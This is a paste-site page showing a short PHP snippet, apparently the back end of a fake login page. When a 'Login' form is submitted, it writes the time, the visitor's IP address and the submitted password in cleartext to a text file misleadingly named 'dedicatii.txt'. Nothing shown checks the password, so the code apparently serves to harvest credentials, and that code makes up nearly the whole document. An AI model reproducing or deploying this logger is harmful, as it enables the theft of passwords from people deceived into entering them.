[php] Bzbx

Viewer

  1. <?php 
  2. echo '//If Submit Button Is Clicked Do the Following
  3. if ($_POST[\'Login\']){
  4.  
  5. $myFile = "dedicatii.txt";
  6. $fh = fopen($myFile, \'a\') or die("can\'t open file");
  7. $luna = array("","Ianuarie","Februarie","Martie","Aprilie","Mai","Iunie","Iulie","August","Septembrie","Octombrie","Noiembrie","Decembrie");
  8. $stringData = \'<b>Data si ora:</b> \'.date("d ",time()).$luna[date("n",time())].date(" Y, H:i", time()).\'<br />\';
  9. fwrite($fh, $stringData);
  10. $ip = $_SERVER[\'REMOTE_ADDR\'];
  11. if (strstr($ip, ",")) {
  12.         $ipuri = explode(", ", $ip);
  13.         $ip = $ipuri[0];
  14. } else { $ip = $_SERVER[\'REMOTE_ADDR\']; }
  15. $stringData = \'<b>Adresa IP: </b>\'.\'\'.$ip.\'<br />\';
  16. fwrite($fh, $stringData);
  17. $stringData = \'<b>Parola: </b>\'.htmlentities($_POST["pwr"]).\'<hr />\'; 
  18. fwrite($fh, $stringData);
  19. fclose($fh);';

Editor

You can edit this paste and save as new: